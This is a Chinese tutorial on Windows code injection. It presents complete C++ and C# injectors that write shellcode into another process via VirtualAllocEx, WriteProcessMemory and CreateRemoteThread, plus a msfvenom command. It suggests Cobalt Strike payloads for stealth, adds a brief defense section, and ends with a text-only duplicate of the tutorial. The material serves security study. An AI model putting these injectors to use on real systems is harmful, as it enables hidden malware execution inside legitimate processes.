初探代码注入
字数 1038 2025-08-26 22:11:45

Windows代码注入技术详解

0x01 代码注入概述

代码注入是一种在单独进程的地址空间中执行任意代码的方法,广泛应用于APT攻击、木马和病毒等恶意软件中。其核心优势在于隐蔽性——通过将代码注入到合法进程中运行,可以避免创建独立进程从而降低被发现的风险。

0x02 关键API函数

1. OpenProcess

HANDLE OpenProcess(
    DWORD dwDesiredAccess,    // 请求的访问权限
    BOOL bInheritHandle,      // 是否继承句柄
    DWORD dwProcessId         // 目标进程ID
);

作用:获取目标进程的句柄,为后续操作做准备。

2. VirtualAllocEx

LPVOID VirtualAllocEx(
    HANDLE hProcess,          // 目标进程句柄
    LPVOID lpAddress,         // 指定分配地址(通常为NULL)
    SIZE_T dwSize,            // 分配内存大小
    DWORD flAllocationType,   // 分配类型
    DWORD flProtect           // 内存保护属性
);

常用参数

  • flAllocationType: MEM_RESERVE | MEM_COMMIT
  • flProtect: PAGE_EXECUTE_READWRITE

3. WriteProcessMemory

BOOL WriteProcessMemory(
    HANDLE hProcess,          // 目标进程句柄
    LPVOID lpBaseAddress,     // 写入地址
    LPCVOID lpBuffer,         // 数据缓冲区
    SIZE_T nSize,             // 写入大小
    SIZE_T* lpNumberOfBytesWritten // 实际写入字节数
);

注意:目标内存区域必须可写。

4. CreateRemoteThread

HANDLE CreateRemoteThread(
    HANDLE hProcess,          // 目标进程句柄
    LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性
    SIZE_T dwStackSize,       // 堆栈大小
    LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址
    LPVOID lpParameter,       // 线程参数
    DWORD dwCreationFlags,    // 创建标志
    LPDWORD lpThreadId        // 线程ID输出
);

关键点:通过此函数在目标进程中创建新线程执行注入代码。

0x03 注入流程

  1. 选择目标进程:通常选择稳定运行的进程如explorer.exe、notepad.exe等
  2. 获取进程句柄:使用OpenProcess获取PROCESS_ALL_ACCESS权限
  3. 分配内存:在目标进程中使用VirtualAllocEx分配可执行内存
  4. 写入shellcode:使用WriteProcessMemory将代码写入目标进程
  5. 创建远程线程:通过CreateRemoteThread执行注入代码
  6. 清理资源:关闭句柄等资源

0x04 C++实现示例

VOID injectShellcode(DWORD dwPID) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    if (hProcess == INVALID_HANDLE_VALUE) {
        cerr << "获取远程进程句柄失败" << endl;
        return;
    }

    // 分配内存
    LPVOID lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024, 
                                       MEM_RESERVE | MEM_COMMIT, 
                                       PAGE_EXECUTE_READWRITE);
    if (!lpRemoteMem) {
        cerr << "远程进程中分配内存失败" << endl;
        CloseHandle(hProcess);
        return;
    }

    // 写入shellcode
    SIZE_T payloadSize = sizeof(popCalc64);
    SIZE_T numBytes;
    BOOL bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, 
                                           popCalc64, payloadSize, 
                                           &numBytes);
    if (!bWriteSuccess) {
        cerr << "shellcode写入失败" << endl;
        CloseHandle(hProcess);
        return;
    }

    // 创建远程线程
    DWORD dwThreadId;
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0, 
                                             (LPTHREAD_START_ROUTINE)lpRemoteMem, 
                                             nullptr, 0, &dwThreadId);
    if (!hRemoteThread) {
        cerr << "创建新线程失败" << endl;
        CloseHandle(hProcess);
        return;
    }

    WaitForSingleObject(hRemoteThread, INFINITE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
}

0x05 C#实现示例

[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, 
                                  uint flAllocationType, uint flProtect);

[DllImport("Kernel32", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
                                    [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, 
                                    uint nSize, ref uint lpNumberOfBytesWritten);

[DllImport("Kernel32", SetLastError = true)]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
                                      uint dwStackSize, IntPtr lpStartAddress, 
                                      IntPtr lpParameter, uint dwCreationFlags, 
                                      ref uint lpThreadId);

public static void CodeInject(int pid, byte[] buf) {
    try {
        uint lpNumberOfBytesWritten = 0;
        uint lpThreadId = 0;
        
        // 获取进程句柄
        IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid);
        
        // 分配内存
        IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, 
                                          (uint)MemAllocation.MEM_RESERVE | 
                                          (uint)MemAllocation.MEM_COMMIT, 
                                          (uint)MemProtect.PAGE_EXECUTE_READWRITE);
        
        // 写入shellcode
        if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, 
                             ref lpNumberOfBytesWritten)) {
            // 创建远程线程
            IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, 
                                                    rMemAddress, IntPtr.Zero, 
                                                    0, ref lpThreadId);
            CloseHandle(hRemoteThread);
        }
        
        CloseHandle(pHandle);
    } catch (Exception ex) {
        Console.WriteLine(ex.Message);
    }
}

0x06 实际应用

1. 生成shellcode

使用MSF生成计算器shellcode:

msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c

2. 注入流程

  1. 选择目标进程(如记事本)
  2. 获取进程PID
  3. 分配内存并写入shellcode
  4. 创建远程线程执行

3. 进阶应用

  • 获取shell而不仅是执行计算器
  • 使用CS(Cobalt Strike)生成的shellcode
  • 注入到更稳定的系统进程中

0x07 防御措施

  1. 进程监控:监控CreateRemoteThread等敏感API调用
  2. 内存保护:检测PAGE_EXECUTE_READWRITE属性的内存分配
  3. 行为分析:分析进程的异常行为
  4. 权限控制:限制非特权用户的进程操作权限

0x08 总结

代码注入技术通过将恶意代码注入合法进程执行,有效提高了隐蔽性。理解其原理不仅有助于安全研究,也能帮助防御者更好地检测和防范此类攻击。随着安全技术的发展,代码注入方法也在不断演进,需要持续关注最新的攻防技术动态。

Windows代码注入技术详解 0x01 代码注入概述 代码注入是一种在单独进程的地址空间中执行任意代码的方法,广泛应用于APT攻击、木马和病毒等恶意软件中。其核心优势在于隐蔽性——通过将代码注入到合法进程中运行,可以避免创建独立进程从而降低被发现的风险。 0x02 关键API函数 1. OpenProcess 作用 :获取目标进程的句柄,为后续操作做准备。 2. VirtualAllocEx 常用参数 : flAllocationType: MEM_ RESERVE | MEM_ COMMIT flProtect: PAGE_ EXECUTE_ READWRITE 3. WriteProcessMemory 注意 :目标内存区域必须可写。 4. CreateRemoteThread 关键点 :通过此函数在目标进程中创建新线程执行注入代码。 0x03 注入流程 选择目标进程 :通常选择稳定运行的进程如explorer.exe、notepad.exe等 获取进程句柄 :使用OpenProcess获取PROCESS_ ALL_ ACCESS权限 分配内存 :在目标进程中使用VirtualAllocEx分配可执行内存 写入shellcode :使用WriteProcessMemory将代码写入目标进程 创建远程线程 :通过CreateRemoteThread执行注入代码 清理资源 :关闭句柄等资源 0x04 C++实现示例 0x05 C#实现示例 0x06 实际应用 1. 生成shellcode 使用MSF生成计算器shellcode: 2. 注入流程 选择目标进程(如记事本) 获取进程PID 分配内存并写入shellcode 创建远程线程执行 3. 进阶应用 获取shell而不仅是执行计算器 使用CS(Cobalt Strike)生成的shellcode 注入到更稳定的系统进程中 0x07 防御措施 进程监控 :监控CreateRemoteThread等敏感API调用 内存保护 :检测PAGE_ EXECUTE_ READWRITE属性的内存分配 行为分析 :分析进程的异常行为 权限控制 :限制非特权用户的进程操作权限 0x08 总结 代码注入技术通过将恶意代码注入合法进程执行,有效提高了隐蔽性。理解其原理不仅有助于安全研究,也能帮助防御者更好地检测和防范此类攻击。随着安全技术的发展,代码注入方法也在不断演进,需要持续关注最新的攻防技术动态。